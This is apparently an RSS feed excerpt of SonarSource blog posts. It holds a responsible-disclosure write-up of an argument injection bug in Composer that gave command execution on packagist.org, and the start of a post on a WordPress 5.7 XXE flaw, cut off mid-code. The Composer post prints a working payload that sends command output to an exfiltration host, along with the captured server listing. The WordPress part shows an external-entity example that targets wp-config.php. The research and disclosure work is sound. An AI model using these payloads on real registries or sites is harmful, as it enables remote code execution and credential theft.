discovered a vulnerability in Composer, the main package manager for PHP, and were able to use it to take over the central repository, packagist.org.]]></description><link>https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer</link><guid isPermaLink="false">f2fddf84-0cfa-5729-90cd-1b0f9997abc0</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Thu, 29 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Supply chain attacks are a hot topic for development organizations today. Last year, in the largest ever software supply chain attack, 18,000 SolarWinds customers were infected with a backdoor. Earlier this year, a security researcher was able to breach Apple, Microsoft, Paypal and other tech giants using a new supply chain attack technique. The underlying problem exploited by these attacks is that all modern software is built on top of other, third-party software components, often without clear visibility on all the downloaded packages. And while reusing many components allows to speed up the development process, infecting the supply chain is a very effective and subtle attack vector to compromise many organizations at once.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the PHP ecosystem, Composer is &lt;em&gt;the&lt;/em&gt; major tool to manage and install software dependencies. It is used by development teams world-wide to ease the update process and to ensure that applications work effortless across environments and versions. For this purpose, Composer uses an online service named &lt;em&gt;Packagist &lt;/em&gt;that determines the correct supply chain for package downloads. Within only one month, the public Packagist infrastructure serves around &lt;a href=&quot;https://packagist.org/statistics&quot;&gt;1.4 billion&lt;/a&gt; download requests! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our security research, we discovered a critical vulnerability in the &lt;a href=&quot;https://github.com/composer/packagist&quot;&gt;source code&lt;/a&gt; of Composer which is used by Packagist. It allowed us to execute arbitrary system commands on the Packagist.org server. A vulnerability in such a central component, serving more than 100M package metadata requests per month, has a huge impact as this access could have been used to steal maintainers’ credentials or to redirect package downloads to third-party servers delivering backdoored dependencies.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we introduce the detected code vulnerabilities and how these were patched. Some of the vulnerable code is present since the first versions of Composer, 10 years ago. For instance one of the bugs we’ll detail was introduced &lt;a href=&quot;https://github.com/composer/composer/blame/ee4d4ee3fae26b87dbfca2b9fba8146dd1f04a50/src/Composer/Repository/Vcs/HgDriver.php#L182&quot;&gt;in November 2011&lt;/a&gt;. After discovery, we reported all issues to the Packagist team who quickly deployed a fix within only 12 hours and assigned &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29472&quot;&gt;CVE-2021-29472&lt;/a&gt;. To the best of their knowledge the vulnerability has not been exploited (&lt;a href=&quot;https://blog.packagist.com/composer-command-injection-vulnerability/&quot;&gt;see their blog post&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Update: &lt;a href=&quot;https://pwnies.com/supply-chain-attack-on-composer/&quot;&gt;this article has been nominated at the Pwnie Awards&lt;/a&gt; (an &amp;quot;annual awards ceremony celebrating the achievements and failures of security researchers and the security community&amp;quot;) in the category &lt;em&gt;Most Under-Hyped Research&lt;/em&gt;!&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;When asked to download a package, Composer will first query Packagist to obtain its metadata (e.g. &lt;a href=&quot;https://repo.packagist.org/p2/composer/composer.json&quot;&gt;here for Composer itself&lt;/a&gt;). This metadata contains, among others and for each version, two fields about where to fetch the code from: source, pointing to the development repository and dist, pointing to pre-built archives. Composer will use external system commands to avoid re-implementing the logic specific to each version control software (VCS) when downloading code from repositories. For this purpose, such calls are performed by using the wrapper &lt;code&gt;ProcessExecutor&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/composer/blob/master/src/Composer/Util/ProcessExecutor.php&quot;&gt;&lt;strong&gt;composer/src/Composer/Util/ProcessExecutor.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
    // [...]
    public function execute($command, &amp;$output = null, $cwd = null)
    {
        if (func_num_args() &gt; 1) {
            return $this-&gt;doExecute($command, $cwd, false, $output);
        }
        return $this-&gt;doExecute($command, $cwd, false);
    }
    // [...]
    private function doExecute($command, $cwd, $tty, &amp;$output = null)
    {
        // [...]
        if (method_exists(&apos;Symfony\Component\Process\Process&apos;, &apos;fromShellCommandline&apos;)) {
            // [1]
            $process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
        } else {
            // [2]
            $process = new Process($command, $cwd, null, null, static::getTimeout());
        }
        if (!Platform::isWindows() &amp;&amp; $tty) {
            try {
                $process-&gt;setTty(true);
            } catch (RuntimeException $e) {
                // ignore TTY enabling errors
            }
        }
        $callback = is_callable($output) ? $output : array($this, &apos;outputHandler&apos;);
        $process-&gt;run($callback);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At &lt;code&gt;[1] &lt;/code&gt;and &lt;code&gt;[2]&lt;/code&gt;, we can see that the parameter &lt;code&gt;$command&lt;/code&gt; is executed in a shell by &lt;code&gt;Symfony\Component\Process\Process&lt;/code&gt;. Most &lt;code&gt;ProcessExecutor&lt;/code&gt; calls are performed in VCS drivers that are responsible for any operation on remote and local repositories (cloning, extracting information, etc), like for instance in the Git driver:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/composer/blob/e7f6dd287ca7f529d7aedb8249a60444d945affc/src/Composer/Repository/Vcs/GitDriver.php#L204-L241&quot;&gt;&lt;strong&gt;composer/src/Composer/Repository/Vcs/GitDriver.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match(&apos;#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i&apos;, $url)) {
        return true;
    }
    // [...]
    try {
        $gitUtil-&gt;runCommand(function ($url) {
            return &apos;git ls-remote --heads &apos; . ProcessExecutor::escape($url); // [1]
        }, $url, sys_get_temp_dir());
    } catch (\RuntimeException $e) {
        return false;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the argument &lt;code&gt;$url&lt;/code&gt; is escaped using &lt;code&gt;ProcessExecutor::escape()&lt;/code&gt; to prevent the evaluation of subcommands (&lt;code&gt;$(...)&lt;/code&gt;, &lt;code&gt;`...`&lt;/code&gt;) by the shell, nothing will prevent the user from providing a value starting with dashes (&lt;code&gt;--&lt;/code&gt;) and appending extra arguments to the final command. This type of vulnerability is called &lt;em&gt;Parameter&lt;/em&gt; or &lt;em&gt;Argument Injection&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The same vulnerable pattern can be found in all the other drivers, where user-controlled data is correctly escaped but concatenated to a system command:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/composer/blob/cda6e8bea63bd0ab73c7cd6be6c2016d32c141ec/src/Composer/Repository/Vcs/SvnDriver.php#L299-L337&quot;&gt;&lt;strong&gt;composer/src/Composer/Repository/Vcs/SvnDriver.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    $url = self::normalizeUrl($url);
    if (preg_match(&apos;#(^svn://|^svn\+ssh://|svn\.)#i&apos;, $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process-&gt;execute(
        &quot;svn info --non-interactive &quot;.ProcessExecutor::escape($url),
        $ignoredOutput
    );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/composer/blob/cda6e8bea63bd0ab73c7cd6be6c2016d32c141ec/src/Composer/Repository/Vcs/HgDriver.php#L206-L235&quot;&gt;&lt;strong&gt;composer/src/Composer/Repository/Vcs/HgDriver.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match(&apos;#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i&apos;, $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process-&gt;execute(sprintf(&apos;hg identify %s&apos;, ProcessExecutor::escape($url)), $ignored);
    return $exit === 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Argument injection bugs are a really cool class of bugs that tend to be often overlooked during code reviews, and completely missed in black-box engagements. While it is known that user-controlled values should be correctly neutralized using &lt;code&gt;escapeshellarg()&lt;/code&gt;, there is no warning that they could still be treated as options. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, it is very unlikely that we can force a user to point Composer to an arbitrary URL under the attacker&amp;#x27;s control. Worst: if we can already do so, it would be way easier to publish our own malicious package and force Composer to pull it on target’s server. Do we have a useless bug here?&lt;/p&gt;&lt;h3&gt;Compromising packagist.org&lt;/h3&gt;&lt;p&gt;Just in case you are not familiar with the PHP packaging ecosystem, your project becomes a package as soon you add a file named &lt;code&gt;composer.json&lt;/code&gt; in the top directory. Then, you only need to create an account on packagist.org, submit your repository URL and it will automatically fetch your project, parse your &lt;code&gt;composer.json&lt;/code&gt; and create the associated package if everything went well: your package is now public, visible on Packagist and can be installed by anybody!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Packagist.org will rely on composer’s API (it can be used as a CLI tool or directly using an API) to fetch the package during creation, thus supporting various VCS like Git, Subversion, Mercurial, etc. As you can see in &lt;a href=&quot;https://github.com/composer/packagist/blob/efcd1cfed59fa2673faa74748b9e388245c58633/src/Entity/Package.php#L606-L657&quot;&gt;&lt;code&gt;packagist/src/Entity/Package.php&lt;/code&gt;&lt;/a&gt;, it will do the following actions:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/packagist/blob/efcd1cfed59fa2673faa74748b9e388245c58633/src/Entity/Package.php#L606-L657&quot;&gt;&lt;strong&gt;packagist/src/Entity/Package.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$io = new NullIO();
$config = Factory::createConfig();
$io-&gt;loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository([&apos;url&apos; =&gt; $this-&gt;repository], $io, $config, $httpDownloader); // [1]



$driver = $this-&gt;vcsDriver = $repository-&gt;getDriver(); // [2]
if (!$driver) {
    return;
}



$information = $driver-&gt;getComposerInformation($driver-&gt;getRootIdentifier());
if (!isset($information[&apos;name&apos;])) {
    return;
}



if (null === $this-&gt;getName()) {
    $this-&gt;setName(trim($information[&apos;name&apos;]));
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The class &lt;code&gt;VcsRepository&lt;/code&gt; (&lt;code&gt;[1]&lt;/code&gt;) &lt;a href=&quot;https://github.com/composer/composer/blob/master/src/Composer/Repository/VcsRepository.php#L59&quot;&gt;comes from Composer,&lt;/a&gt; and the call to &lt;code&gt;getDriver()&lt;/code&gt; (&lt;code&gt;[2]&lt;/code&gt;) will trigger calls to methods &lt;code&gt;supports()&lt;/code&gt; and &lt;code&gt;initialize()&lt;/code&gt; of the following VCS “drivers”:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;GitHubDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;GitLabDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;GitBitbucketDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;GitDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;HgBitbucketDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;HgDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;PerforceDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;FossilDriver&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;SvnDriver&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sounds familiar? These classes are where we found argument injection bugs! &lt;/p&gt;&lt;h3&gt;Exploitation time!&lt;/h3&gt;&lt;p&gt;We don’t often discuss exploitation details to avoid any malicious mass-exploitation quickly after our blog posts, but we feel like this Composer bug will only have a limited impact by itself. Still, if you happen to use composer and &lt;code&gt;VcsRepository&lt;/code&gt; with user-controlled URLs or if you have your own Packagist instance, make extra sure to upgrade.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As all drivers are basically vulnerable, we decided to look for the easiest one to exploit. Argument injection on git is fairly documented (&lt;code&gt;--upload-pack&lt;/code&gt;, &lt;code&gt;--output&lt;/code&gt;), but git ls-remote here expects one positional argument, but we can’t provide both &lt;code&gt;--upload-pack&lt;/code&gt; and a positional argument as our value is surrounded by single quotes. We were not able to identify a way to gain code execution with it, and then looked at the other drivers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While playing with the Mercurial client (&lt;code&gt;hg&lt;/code&gt;) and reading &lt;a href=&quot;https://www.mercurial-scm.org/doc/hgrc.5.html&quot;&gt;its manual&lt;/a&gt; we noticed the presence of a flag named &lt;code&gt;--config&lt;/code&gt;, allowing us to load new configuration directives to the client before performing any action. The client supports the alias setting, with a very promising description:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example,&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;echo = !echo $@&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s perfect for us: we will alias the command identify to a shell command of our choice, and &lt;code&gt;hg&lt;/code&gt; will happily execute it for us instead of looking for a remote repository. Our final payload looked like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After submitting a new package with this URL on packagist.org, we indeed received the following HTTP request body from an AWS host:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;total 120K 
drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 . 
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 .. 
-r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess 
-r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png 
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png 
dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles 
dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...] 
lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -&gt; p/packages.json 
lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -&gt; p/packages.json.gz 
-r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt 
-r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd 
dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error 
-r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This was enough to confirm that we obtained command execution; we promptly notified &lt;code&gt;security (at) packagist.org&lt;/code&gt; and did not try to elevate privileges.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The maintainers quickly (&amp;lt; 12 hours) deployed a hotfix in production, effectively preventing the exploitation of this vulnerability. &lt;a href=&quot;https://github.com/composer/composer/commit/332c46af8bebdead80a2601350dff7af0ac1f490&quot;&gt;Composer fixes&lt;/a&gt; were pushed on April, 27th and releases 1.10.22 / 2.0.13 were published right after. &lt;a href=&quot;https://github.com/composer/packagist/commit/8ad7b8b1274d5453684399456de48b5b07372879&quot;&gt;Packagist is now using the up-to-date version of Composer&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As for most argument injection vulnerabilities, the fix consists of only two characters: --. &lt;a href=&quot;https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html&quot;&gt;POSIX specifies that&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;The first &lt;strong&gt;--&lt;/strong&gt; argument that is not an option-argument should be accepted as a delimiter indicating the end of options. Any following arguments should be treated as operands, even if they begin with the &amp;#x27;-&amp;#x27; character.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you try to reproduce the vulnerabilities at home, you may notice that fossil only recently &lt;a href=&quot;https://fossil.umaneti.net/fossil/vdiff?branch=double-dash-flag2&quot;&gt;improved support for this feature&lt;/a&gt;. We did not pursue this exploitation scenario, but it could have an interesting impact on environments in which fossil 2.11 is not yet available (e.g. Debian Buster).&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-22&lt;/td&gt;&lt;td&gt;First contact to security (at) packagist.org&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-22&lt;/td&gt;&lt;td&gt;A hotfix is deployed in packagist.org&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-26&lt;/td&gt;&lt;td&gt;CVE-2021-29472 assigned by GitHub&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-27&lt;/td&gt;&lt;td&gt;Composer 1.10.22 and 2.0.13 are released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We demonstrated how a seemingly innocuous bug in Composer could impact services such as Packagist.org. Researchers like Max Justicz regularly discover security issues in package managers and the &lt;a href=&quot;https://justi.cz/security/2021/04/20/cocoapods-rce.html,&quot;&gt;associated&lt;/a&gt; &lt;a href=&quot;https://justi.cz/security/2019/01/22/apt-rce.html&quot;&gt;services&lt;/a&gt;, and their impact is potentially considerable. Companies need to spend more effort on auditing tools in their supply chain, and provide additional expertise &lt;a href=&quot;https://github.com/composer/composer/issues/6941&quot;&gt;on tickets related to code signing&lt;/a&gt; and to the reduction of the impact of such attacks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It should be noted that the maintainers did not identify any sign of prior exploitation of this vulnerability on the public packagist instance. As this software can also be installed on-premise, &lt;a href=&quot;https://blog.packagist.com/composer-command-injection-vulnerability/&quot;&gt;they still advise to look for potential exploitation leftovers&lt;/a&gt; by looking for URLs starting by --config in your composer.lock file. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this bug is quite old and easy to identify, it could have been missed because easier vulnerabilities were lying around, &lt;a href=&quot;https://justi.cz/security/2018/08/28/packagist-org-rce.html)&quot;&gt;like the one already discovered by Max Justicz on Packagist in 2018&lt;/a&gt;. Parameter injection on VCS tools are the speciality of a few researchers like &lt;a href=&quot;https://twitter.com/_staaldraad&quot;&gt;@_staaldraad&lt;/a&gt; (&lt;a href=&quot;https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/&quot;&gt;CVE-2019-13139 - Docker build code execution&lt;/a&gt;), &lt;a href=&quot;https://twitter.com/joernchen&quot;&gt;@joernchen&lt;/a&gt; (&lt;a href=&quot;https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6&quot;&gt;CVE-2018-17456 - Git Submodule RCE&lt;/a&gt;), &lt;a href=&quot;https://twitter.com/wcbowling&quot;&gt;@wcbowling&lt;/a&gt; (&lt;a href=&quot;https://devcraft.io/2020/10/18/github-rce-git-inject.html&quot;&gt;GitHub RCE&lt;/a&gt;, &lt;a href=&quot;https://hackerone.com/reports/658013&quot;&gt;Gitlab RCE&lt;/a&gt;); we encourage you to take a look at their previous work to learn more about this bug class.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ll be happy to discuss these bugs &lt;a href=&quot;https://community.sonarsource.com/t/new-security-research-supply-chain-attack-on-composer-wordpress-xxe-vulnerability/42505&quot;&gt;in our community forum thread!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank Jordi Boggiano and Nils Adermann of Packagist for their super fast fixes and the awesome work they do to maintain such a central piece of the PHP ecosystem. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress 5.7 XXE Vulnerability]]></title><description><![CDATA[In this blog post we analyze a XXE vulnerability that our analyzers discovered in WordPress, the most popular CMS, and what PHP 8 developers can learn from it.]]></description><link>https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability</link><guid isPermaLink="false">5c55d68a-6503-5537-989b-f787929bdfeb</guid><dc:creator><![CDATA[Karim El Ouerghemmi]]></dc:creator><pubDate>Tue, 27 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At SonarSource, we are constantly improving our code analyzers and security rules. We recently improved our PHP security engine to &lt;a href=&quot;https://community.sonarsource.com/t/the-php-security-engine-detects-9-additional-security-problems-related-to-xxe-cors-session-management-csrf-and-more/37986&quot;&gt;detect more OWASP Top 10 and CWE Top 25 issue types&lt;/a&gt;. When testing our new analyzers against some of the most popular open-source PHP projects, an interesting issue was raised in the WordPress codebase.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress is the world’s most popular content management system that is used by &lt;a href=&quot;https://w3techs.com/technologies/overview/content_management&quot;&gt;approximately 40% of all websites&lt;/a&gt;. This wide adoption makes it one of the top targets for cyber criminals. Its code is heavily reviewed by the security community and by bug bounty hunters that get paid for reporting security issues. Critical code issues rarely slip through their hands. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we are investigating the new vulnerability reported by our analyzer. We explain its root cause, related to PHP 8, and demonstrate how an attacker could leverage it to undermine the security of a WordPress installation. We responsibly disclosed the code vulnerability to the WordPress security team who fixed it in the latest version 5.7.1 and assigned &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447&quot;&gt;CVE-2021-29447&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?id=SonarSourceResearch_wordpress.5.7.0&amp;open=AXj-5hkLeJDscEr_Xkyb&amp;resolved=false&amp;types=VULNERABILITY&quot;&gt;&lt;strong&gt;SonarCloud Vulnerability Report&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The detected code vulnerability is an authenticated XML External Entity (XXE) injection. It affects WordPress versions prior to 5.7.1 and can allow remote attackers to achieve:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Arbitrary File Disclosure&lt;/strong&gt;: the content of any file on the host’s file system could be retrieved, e.g. &lt;em&gt;wp-config.php &lt;/em&gt;which contains sensitive data such as database credentials.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt;: HTTP requests could be made on behalf of the WordPress installation. Depending on the environment, this can have a serious impact.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The vulnerability can be exploited only when WordPress is running on PHP 8. Additionally, the permissions to upload media files are needed. On a standard WordPress installation this translates to having &lt;em&gt;author &lt;/em&gt;privileges. However, combined with another vulnerability or a plugin allowing visitors to upload media files, it could be exploited with lower privileges.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress released a &lt;a href=&quot;https://wordpress.org/support/wordpress-version/version-5-7-1/&quot;&gt;security &amp;amp; maintenance update&lt;/a&gt; on April 14th, 2021 to patch the vulnerability and to protect its users.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/UKfCwSr--mU&quot;&gt;WordPress 5.7 XXE Vulnerability&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section we take a closer look at the technical details of the vulnerability. First we briefly revisit what an XXE vulnerability is. Following that, we dive into the vulnerability our analyzer reported in the WordPress core by looking at where it is located in the code, and why it became exploitable again in PHP 8 even though there was an effort to prevent such vulnerabilities in the affected code lines. Finally, we demonstrate how it can be exploited by attackers by using specially crafted input to extract the &lt;em&gt;wp-config.php &lt;/em&gt;file, and how the vulnerability is prevented.&lt;/p&gt;&lt;h3&gt;XML External Entity (XXE) Vulnerabilities&lt;/h3&gt;&lt;p&gt;XML offers the possibility to define custom entities that can be reused throughout a document. This can, for example, be used to avoid duplication. The following code defines an entity &lt;code&gt;myEntity&lt;/code&gt; for further usage.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!DOCTYPE myDoc [ &lt;!ENTITY myEntity &quot;a long value&quot; &gt; ]&gt;
&lt;myDoc&gt;
    &lt;foo&gt;&amp;myEntity;&lt;/foo&gt;
    &lt;bar&gt;&amp;myEntity;&lt;/bar&gt;
&lt;/myDoc&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The value of defined entities can also stem from an external source referenced by a &lt;em&gt;URI&lt;/em&gt;. In this case, they are called external entities:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!DOCTYPE myDoc [ &lt;!ENTITY myExternalEntity SYSTEM &quot;http://…..com/value.txt&quot; &gt; ]&gt;
&lt;myDoc&gt;
    &lt;foo&gt;&amp;myExternalEntity;&lt;/foo&gt;
&lt;myDoc&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;XXE attacks misuse this feature. They are possible when a loosely configured XML parser is run on user-controlled content. Loosely configured usually means that all entities are substituted with their corresponding value in the result. For example, in the last sample, if an attacker would supply &lt;code&gt;file:///var/www/wp-config.php&lt;/code&gt; as the URI and is able to view the result of the parsed XML, she would successfully leak sensitive file content. However, the result of parsed XML is not always displayed back to the user, which is the case for the WordPress vulnerability described in this post. As we will see later, there are ways to cope with that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the main idea and mechanism behind XXE (&lt;a href=&quot;https://rules.sonarsource.com/php/RSPEC-2755&quot;&gt;learn more in our rule database&lt;/a&gt;). Besides sensitive file disclosure, XXE can also have other impacts, such as &lt;em&gt;Server-Side Request Forgery&lt;/em&gt; (to retrieve the content of external entities, a request has to be made, &lt;a href=&quot;https://rules.sonarsource.com/php/RSPEC-5144&quot;&gt;S5144&lt;/a&gt;), and &lt;em&gt;Denial of Service&lt;/em&gt; (entities could reference other entities resulting in a possible exponential growth during substitution a.k.a. &lt;a href=&quot;https://en.wikipedia.org/wiki/Billion_laughs_attack&quot;&gt;Billion laughs attack&lt;/a&gt;).&lt;/p&gt;&lt;h3&gt;XXE in WordPress&lt;/h3&gt;&lt;p&gt;WordPress has a Media Library that enables authenticated users to upload media files that can then be used in their blog posts. To extract meta information from these media files, e.g., artist name or title, WordPress uses the &lt;em&gt;getID3 &lt;/em&gt;library. Some of this metadata is parsed in XML form. Here, our analyzer reported a possible XXE vulnerability (line 730).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/ID3/getid3.lib.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;723    if (PHP_VERSION_ID &lt; 80000) {
724
725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
726        // disabled by default, so this function is no longer needed to protect against XXE attacks.
728        $loader = libxml_disable_entity_loader(true);
729    }
